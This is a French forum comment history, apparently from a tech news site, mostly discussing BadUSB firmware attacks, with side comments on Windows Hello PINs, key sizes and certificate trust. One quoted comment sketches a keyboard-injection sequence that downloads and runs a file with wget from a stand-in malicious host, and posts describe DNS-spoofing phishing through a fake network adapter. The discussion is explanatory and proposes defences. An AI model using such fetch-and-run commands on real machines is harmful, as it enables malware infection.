Le 22/11/2021 à 07h 50

Bonjour,

Je pense qu’il serait intéressant d’indiquer que l’image du titre est une vue d’artiste et non pas la photo du fameux trou noir.

En tout cas, merci pour l’article !

Le 15/10/2021 à 08h 32

Au boulot ils ont activé Windows Hello, mais on n’arrive pas a enlever le code PIN. C’est le seul moyen qu’il n’est pas possible de supprimer, c’est une aberration complète.
En plus, de base, le code PIN demandé est de seulement 6 chiffres.
Résultat, si on veut se connecter au PC d’un collègue, il suffit de regarder son clavier lorsqu’il déverrouille son ordi et le tour est joué.

Comme la création du code PIN est obligatoire, même l’admin qui vient se connecter sur la machine pour résoudre un problème doit créer un PIN pour son compte, compte qui aura les droits admin.
On a fait le test, le PIN est bien unique (=valable uniquement sur la machine et ne peut pas être réutiliser ailleurs sauf si l’admin utilise le même PIN sur différentes machines), mais du coup il est super simple de se connecter avec un compte admin et ensuite de faire ce que l’on veut sur la machine.

Perso, j’ai vu qu’il y avait un bouton pour demander à mettre autre chose que des chiffres, j’ai donc créé un PIN impossible à mémoriser (35 caractères générés par keepass) et je n’utilise pas le PIN pour me connecter.

Si quelqu’un sait comment bannir le code PIN de Windows Hello, je suis preneur!

Le 22/09/2021 à 06h 16

(reply:0avid_L) merci beaucoup pour cet article très intéressant.

Est-ce qu’il existe des mécanismes de sécurité (mot de passe, chiffrement de la communication par TLS avec authentification mutuelle…) sur ce protocole ?

Ou doit-on encapsuler le flux dans un tunnel TLS, SSH… ?

Merci!

Le 15/09/2021 à 14h 38

Le 03/04/2020 à 18h 22

Bonjour,
Je pense qu’il y a une petite inversion:
Utiliser des clés symétriques de 4 096 bits et asymétriques de 256 bits est chose aisée aujourd’hui
 
Les clés 4096 bits sont généralement des clés asymétriques (RSA) et 256 bits symétriques (AES)

Dans les algorithmes asymétriques, on peut parler des courbes elliptiques (EC) qui sont plus robustes que RSA pour les ordinateurs normaux et donc permettent l’utilisation de clés bien plus petites (256-521 bits en EC contre 2048-15360 pour RSA), mais est plus sensible que RSA aux attaques par ordinateurs quantiques.
https://www.ssl2buy.com/wiki/rsa-vs-ecc-which-is-better-algorithm-for-security
https://en.wikipedia.org/wiki/Elliptic-curve_cryptography#Quantum_computing_atta…

Aujourd’hui, beaucoup de certificats sont en courbes elliptiques (comme celui de NextINpact) ce qui posera sûrement des problèmes quand les ordinateurs quantiques seront plus puissants.
 

Le 23/10/2015 à 06h 48

Moi ce qui me chagrine avec les certificats reconnus et gratuits c’est que souvent l’authenticité du demandeur n’est pas vérifiée. Du coup, il est possible de faire un certificat pour un site de fishing.

Parmi les personnes navigant sur internet, combien vérifient que le certificat a été émis par la bonne autorité et au bon site? La plupart des personnes font confiance au petit cadenas du navigateur…

Quand vous êtes connecté sur google, vous regardez que le certificat est bien émis par GeoTrust et non pas par StartSSL ou une autre autorité?

A côté de ça, je trouve que c’est super de pouvoir posséder un certificat pour son petit serveur ou son site web…

La sécurité c’est jamais simple…

Le 08/10/2014 à 04h 12

Dr.Wily a écrit :

OK avec tout c’est du bon sens. Mais :
 
 

Oui, c’est en théorie possible, mais avec du matos plus spécifique (électroniquement) qu’une clef basique quand même. non ?


Il suffit de mettre un bootloader qui n’accepte que les FW signés… pas trop compliqué à faire.

Le 08/10/2014 à 04h 11

candriant a écrit :

Je ne pense pas car dans la vidéo, l’exécution de la clé possède les mêmes droit sutilisateur en cours. Il le dit lui même que le système testé  est différent. donc ça ne marche pas. Tout dépend des droits mis pour les changements dns et autres modifications sur les autres cas. 

ça clé pour le moment pour xubuntu, au pires des cas fonctionne sur un xubuntu avec un cache dns vide.

Sous Ubuntu, je n’ai pas souvenir qu’il faut des droits particulier pour se connecter en wifi à un réseau. Le DNS est bien monté automatiquement. Idem pour une carte réseau: quand je connecte mon câble USB, le DHCP est lancé automatiquement et j’ai internet. Pourquoi ça ne fonctionnerai pas avec une carte réseau USB?
 

Le 08/10/2014 à 04h 09

Dr.Wily a écrit :

OK avec tout c’est du bon sens. Mais :
   
Oui, c’est en théorie possible, mais avec du matos plus spécifique (électroniquement) qu’une clef basique quand même. non ?



Justement, non. Pour faire une clé USB, il faut 3 endpoints: le 0, le bulk in et le bulk out.
Pour faire un clavier, il te faut (de mémoire) 3 endpoints, le 0, un transfert out et un interrupt in.
Si tu veux faire un usb composite: clavier + mass storage, il te faut 5 endpoint, le 0 étant commun.
5 endpoint c’est quelque chose qu’on peut trouver dans les chips.

Pour l’histoire de sauvegarder si ça a fonctionné ou non, on a plein de NAND flash dans laquelle on peut écrire. Pourquoi se priver!

Le 06/10/2014 à 21h 57

Dr.Wily a écrit :

Là où j’ai un doute c’est dans la suite de l’opération soit l’exécution du programme. Cacher un soft dans le micro-programme qui contrôle la clef USB oui, mais exécuter ce soft automatiquement j’ai un doute en sachant que l’OS n’accède qu’a la partie stockage et encore avec un couche d’abstraction.

L'idée de l'attaque c'est qu'une personne va faire confiance à une clé USB car ça parait anodin. Pourquoi avoir peur de quelque chose qui ne peut que contenir des fichiers qui vont être analysés en amont par son antivirus préféré et infaillible?      

C'est là tout le truc! C'est qu'on va brancher une clé USB en pensant qu'elle est sans danger. On ne va pas regarder si elle a une activité anormale.      

Pour avoir développé des périphériques USB, je sais qu'il est possible de connaitre le type d'OS en fonction de son énumération ou du fonctionnement (du moins faire la distinction entre Linux et Windows). Si on se focalise sur le phénomène, on doit pouvoir faire une analyse plus précise et détecter plus de différences entre les sous catégories (XP, VISTA, 7, libusb 0.1, libusb 1.0, ...).      

A partir de ce moment là, on peut attaquer différemment suivant le host sur lequel on est branché.      

Après, pour un pirate, quelle est la cible la plus facile?      

Si vous avez mis en place un système qui verrouille votre session lorsque votre regard quitte l'écran et qu'elle est déverrouillée par reconnaissance rétinienne, que les messages kernel sont affichés en gros rouge devant vous ou que vous aimez monter tout à la main en faisant vous même les modprobe... Il se peut que vous ne soyez par trop inquiété par ce genre d'attaque.      

       

Mais est-ce le cas de monsieur et madame tout le monde?      

•   Combien de personnes mettent un écran de vielle avec un mot de passe?
  


•   Combien de pesonnes savent configurer une carte réseau ou comprendre qu’une carte réseau vient de se connecter?
  


•   Combien de personnes regardent régulièrement les logs du système?
  


•   Combien de personnes utilisent quotidiennement un compte sans droit administrateur?
  


•   Combien de personnes mettent un mot de passe différent pour le compte utilisateur du compte admin?
  


•   Combien de personnes mettent un mot de passe dans le bios?
  


•   Combien de personnes désactivent le boot sur USB dans le bios?
  


•   Combien de personnes désactivent l’apparition du choix du menu de boot lorsque F12 (ou une autre touche) est appuyée?
  


•   Combien de personnes activent le secure boot?
  
   
  Très peu. Trop peu. Déjà que choisir un mot de passe digne de ce nom est quelque chose de peu courant, imaginez le reste!
  
  Alors la personne va brancher la clé USB, la laisser sur la machine et potentiellement la redémarrer. Combien de personne regarde l’écran de son ordinateur booter jusqu’au bout…. et ne loupe pas une goute des logos qui tournent pour indiquer le chargement?
  Je sais pas expérience que beaucoup de personnes appuient sur le bouton power, et vont faire autre chose le temps que le système se charge. La clé peu avoir détecté qu’elle était énumérée par le bios et proposer une partition bootable, s’énumérer comme clavier et appuyer sur F12, faire deux fois flèche bas puis “enter”… et si ça ne marche pas cette fois, on mémorise et on recommence une autre séquence le prochain boot.
  
  Le petit virus, une fois installé, peu essayer de trouver d’autre support qu’il connait et qu’il peut corrompre, webcam, disque dur USB, …
  
  Tout ça parce que vous avez branché une clé USB et que vous avez fait confiance à ce petit bout de plastique. Si c’était un périphérique USB que vous ne connaissiez pas, vous vous seriez peut-être méfié d’un comportement étrange : le bruit soudain du branchement USB, le popup comme quoi le périphérique était bien installé, une fenêtre noire qui apparait puis disparait en moins d’une seconde, votre écran de veille qui s’active sans raison…
  
  
   
  
  candriant a écrit :
  
  Dans la video BADUSB, on voit l’activité visuel de la clé usb => En gros ça laisse des traces. De plus “dans la video”, le code doit être adapté en fonction de l’OS. Sous linux la clé a beaucoup mal à exécuter l’ensemble des codes spoil “ elle n’arrive pas à modifier le dns”, cette clé n’a pas le droit root “c’est marqué dans les slides de la video”. Sous windows , on voit clairement la deuxième carte réseau. 
  
  
  Dans la vidéo, ils ont fait une carte réseau qui possède un serveur DHCP qui fourni seulement un DNS mais pas de passerelle. Là où ils ont merdé dans la démo c’est qu’ils sont allé sur le vrai site avant d’avoir branché la clé avec la carte réseau factice. Le système à donc mémorisé le lien entre paypal et l’adresse IP. On voit dans la vidéo qu’ils suppriment le cache de Firefox, mais ont oublié de vider le cache DNS. Du coup, quand ils retournent sur le site, c’est toujours le vrai paypal. Cette attaque est valable si la carte réseau se monte avant que cache DNS du système ne connaissent l’adresse IP du site.
  Mais c’est un exemple parmi d’autre.
   
  Il y a surement moyen de faire d’autre type d’attaque. Par exemple, une webcam est capable de faire du traitement d’image avec un processeur dédié au traitement vidéo. Alors pourquoi ne pas faire en sorte que la webcam s’énumère aussi comme un écran secondaire et analyse en live ce que vous faites?

Le 05/10/2014 à 21h 58

alexandredenis a écrit :

Pour voler mon mot de passe, ils ont besoin d’avir déjà installé un LD_PRELOAD.

 Il savent cracker un PC, mais à condition de l'avoir déjà cracké.

 Et une clé USB qui tout d'un coup passe en clavier et entre "ALT+F2" "termial" "wget   http://monvirus.com" ./monvirus &" "exit" ?

Le 05/10/2014 à 21h 42

dam1605 a écrit :

Il ne faut pas négliger certains périphériques. La clé 3g par exemple: il me semble que le driver est souvent inclus dedans (via un bout de mass-storage) ce qui permet d’envoyer du code…


Pour le cas des clés 3G, la clé n’envoie pas de code au PC distant. Elle détecte qu’elle n’a pas été énumérée avec son driver et donc décide de monter la partition mass storage dans laquelle il y a les drivers. Donc pas de code exécutable envoyé au PC. C’est l’utilisateur qui va exécuter le setup présent sur la partition (ou le système exécute l’autorun)



nigol a écrit :

Le trafic venant du contrôleurs est vu par tous les devices. Simplement
parce que tous les devices doivent répondre aux requêtes adressées à
‘0’.




jinge a écrit :

Tu dois oublier quelques points. Si le peripherique peut faire
keylogger (si c’est possible),


Ce n’est pas parce que les périphériques doivent répondre aux requêtes envoyées sur l’endpoint 0 qu’elles voient tout le trafic sur cet endpoint. C’est le rôle du HUB de rerouter les requêtes aux bons endroits.
Si tous les périphériques voient le trafic branché sur ton hub, alors, comme l’indique brice.wernet, je te conseil de changer de hub car il n’est pas génial.

Dans l’attaque qui est révélée, on ne parle pas de sniffer les USB. C’est une tout autre dimension et à ce moment là il vaut mieux faire un système que tu vas brancher sur le port USB du clavier et tu auras tout ce que tu veux…

Les chips présents dans les périphériques peu cher sont généralement des 805x (comme mentionné dans la vidéo) et embarquent la partie USB en hard pour nécessiter le moins possible de puissance de calcul. Pour les gros volumes, le FW est souvent mis en ROM afin de réduire le coût de production car la flash ça coûte.
Les EEPROM additionnelles sont généralement là pour “personnaliser” le FW en lui donnant sa chaine d’énumération, son PID/VID et son numéro de série. Il n’y a pas de code exécutable à l’intérieur.
Les HUB font généralement parti de cette catégorie de produit.

Les autre périphériques comme les téléphones portables, les clés USB (de par la flash quelles embarquent), ou autres périphériques “évolués” sont plus propices à cette attaque car on peut modifier leur FW.

Si les constructeurs implémentent un système de bootloader avec une vérification de signature alors beaucoup des problèmes peuvent être éliminés, mais pour certains périphériques sa sera difficilement réalisable:
Pour un téléphone portable, la ROM est souvent modifiée par l’opérateur qui installe ce qu’il désire dedans. Cela implique la gestion d’une PKI et là ça va commencer à taxer et à être compliqué pour la distribution des clés de signature… => quid des ROM indépendantes comme cyanogenmod, … comment se fournir la clé de signature.
Ca me rappel la polémique du secure boot sur PC…
 

Le 04/10/2014 à 22h 17

brice.wernet a écrit :

(…)
Dans tous les cas, infecter une clé USB est une chose, mais ce qui donne plus de possiblités c’est d’infecter un HUB.


Un HUB USB ça n’a que très peu de mémoire… alors qu’une clé USB ça a plein de NAND flash de dispo.
Ton HUB doit quand même faire HUB, donc il te faut le FW du HUB + ajouter le FW de ton/tes périphériques qui vont attaquer le système. Tu risques d’arriver aux limites de taille mémoire. En général, sur ce genre de chip, on n’a que 2-8ko de RAM et 8-16ko de flash… voir simplement de la ROM car ça coûte moins cher.

Le 04/10/2014 à 15h 36

alexandredenis a écrit :

Je ne vois pas comment ça peut atteindre Linux. Un Linux bien élevé va certes créer automatiquement un device réseau si la clef se présente comme interface réseau, mais il ne va pas faire d’ifup automatique dessus si on ne l’a pas configuré dans /etc/network/interfaces (ou dans NetworkManager, pour les jeunes), et encore moins l’utiliser comme source DNS par défaut.
Pareil pour le clavier, un clavier ne reçoit pas les saisies des autres claviers.
Pour le tethering, c’est une notion qui n’existe pas au niveau matériel. Le tethering, c’est juste carte réseau+routage.


Ce que les personnes de SRLabs ont fait, est une carte réseau factice qui (d’après ce que j’ai compris) possède un serveur DNS, mais pas de gateway. Du coup, le système demande à cette carte réseau à quelle adresse IP est paypal.com et elle retourne une adresse IP d’un site de fishing. On se connecte sur ce site, on entre notre login/password et voila… On s’est fait avoir.
Sur leur démo, le site web de paypal.com reprend le même look, mais quand ils vont sur paypal.com/password, ils récupèrent le login/password qu’ils avaient entré.

Le 04/10/2014 à 14h 35

pufff a écrit :

Disons que de voir le problème comme une porte d’entrée permanente à un système, avec des vecteurs évolutifs (au grès des 0days) est plus raisonnable. Les vecteurs que tu listes même si existant sont basiques rapport à ce qui existe. Knock knock knock

A ce moment là, on est plus sur une attaque du driver et donc plutôt lié à un OS en particulier. Du coup, l'attaque n'a rien d'extraordinaire puisque le concept existe depuis très longtemps. Tout ce qui peut être branché à un ordinateur peut être un vecteur d'attaque. c'est bien connu.      

On le vois même souvent dans les films, les supers méchants ou les supers espions branchent une mini clé USB et récupèrent tout le contenu du PC... ;)      

Mais de là à dire que le système est capable d'infecter/se propager à d'autre clés USB... il faudrait qu'un virus s’exécute sur le PC puis connaisse le chip de la clé USB branchée et le mette à jour. En plus, quand on regarde la video de Caudill et Wilson, le bootloader permettant de mettre à jour le FW nécessite de court-circuiter des PINs pour que le système de trouve pas la NAND et demande donc un nouveau FW par USB. Pas simple pour un virus logiciel.      

En plus, normalement, l'antivirus va empêcher le virus de s’exécuter.      

 

Le 04/10/2014 à 12h 42

pufff a écrit :

Tu as l’idée général de la faille oui, par contre tu sous estimes l’exploitation possible.


Tu vois d’autres vecteurs d’attaque que ceux que j’ai mentionnés?
A quel genre d’exploitation penses-tu?

Le 04/10/2014 à 12h 27

De ce que j’en ai compris, le problème principal vient du fait que l’on puisse mettre à jour le firmware (FW) d’un périphérique USB sans que celui-ci ne vérifie l’auteur du FW.

Pour mettre à jour un FW, il faut généralement passer par un bootloader qui est inclus dans le périphérique qui permet de charger ce FW. C’est au bootloader du vérifier la signature du FW et de décider ou non de le sauvegarder. Une fois sauvegardé, ce FW va être exécuté sur le périphérique USB.

A partir de là, il est possible de faire “ce qu’on veut” avec le périphérique USB. On peut faire en sorte qu’il s’énumère comme un clavier, une clé USB, une carte réseau, une webcam ou ne ne sais quoi.

L’exploitation est, à mon avis, plus compliquée puisque un périphérique USB n’exécute pas de code sur la machine à laquelle il est branché.
 
On peut donc imaginer plusieurs vecteurs d’attaque:

 1. émuler une clé USB pour que le système boot dessus et ainsi installer un virus ==> pas besoin de bidouiller le FW du périphérique, on peut le faire avec une simple clé USB. L’avantage de le faire en trafiquant le FW c’est d’être “clean” au branchement et lorsque le PC redémarre, monter la partition avec le virus . La parade est super simple: désactiver le boot sur USB, ce qui, au passage est fortement recommandé.
 
 2. émuler un périphérique USB dont on connait les failles de sécurité du driver installé sur la machine. On pourra essayer de faire des débordement de mémoire et exécuter du code aléatoire sur la machine. Une mise à jour du driver pourra corriger le problème s’il est connu. Cette attaque est donc liée à un système d’exploitation, Windows, Linux et MacOS n’ayant pas les mêmes driver…

 3. émuler des périphériques et essayer de glaner des informations.
Cela peut se faire en se déclarant comme une carte réseau et essayer de re-router le trafic réseau vers nous. Je ne m’y connais pas trop en réseau, donc je ne sais pas ce qu’il est possible de faire, mais je pense que si le trafic est redirigé vers cette carte factice, il y a de forte chance que le réseau ne marche plus (à moins de pouvoir forcer les paquets à passer par la carte réseau factice puis de les renvoyer vers la carte réseau légitime… j’ai du mal à voir comment faire… mais pourquoi pas…)

 On peut aussi se faire passer pour un clavier et entrer des commandes, comme par exemple lancer une console DOS, aller télécharger un virus sur internet toujours en commande dos puis l’exécuter. Cette attaque est plutôt visible car la fenêtre dos est visible et si jamais le périphérique USB infecté effectue cette manipulation alors que vous être en train de rédiger votre rapport sur votre éditeur de texte favoris, alors tout tombe à l’eau.
Cette attaque par clavier factice tombe aussi à l’eau si vous branchez le périphérique USB alors que la session est verrouillée… puisqu’il faut entrer le mot de passe de la session pour pouvoir faire quelque chose.
En plus l’execution d’un virus sera surement détecté par votre anti-virus.
 
On peut aussi se déclarer en périphérique composite (plusieurs “périphériques” dans 1), comme un clavier + une carte réseau + une clé USB + … Pareil, l’attaque est assez compliqué car il faudra faire en sorte que tout soit bien synchro pour attaquer le PC et espérer faire quelque chose.

Il faut aussi prendre conscience que généralement les mémoires embarquées dans les périphériques sont réduites au minimum. Donc une souris avec ses quelques ko de flash aura du mal à sauvegarder 3 jours de trafic réseau. C’est pour cela que les clés USB (stockage de masse) sont les plus sujet aux attaques car il est possible de sauvegarder beaucoup plus de données.

Une parade à tout cela serait que le système affiche lors du branchement d’un périphérique USB ce à quoi il sert et demande à l’utilisateur de valider. Ainsi, si vous branchez une clé USB (stockage de masse) et que celle-ci se déclare comme un stockage de masse et un clavier ==> vous refusez. Idem si la clé USB se déclare comme une carte réseau…
Reste le problème du démarrage… il faudra bien autoriser au moins un clavier et une souris pour permettre à l’utiliser de valider les autres périphériques…

L’autre parade est de bien regarder ce que votre système vous dit lorsque vous branchez votre périphérique…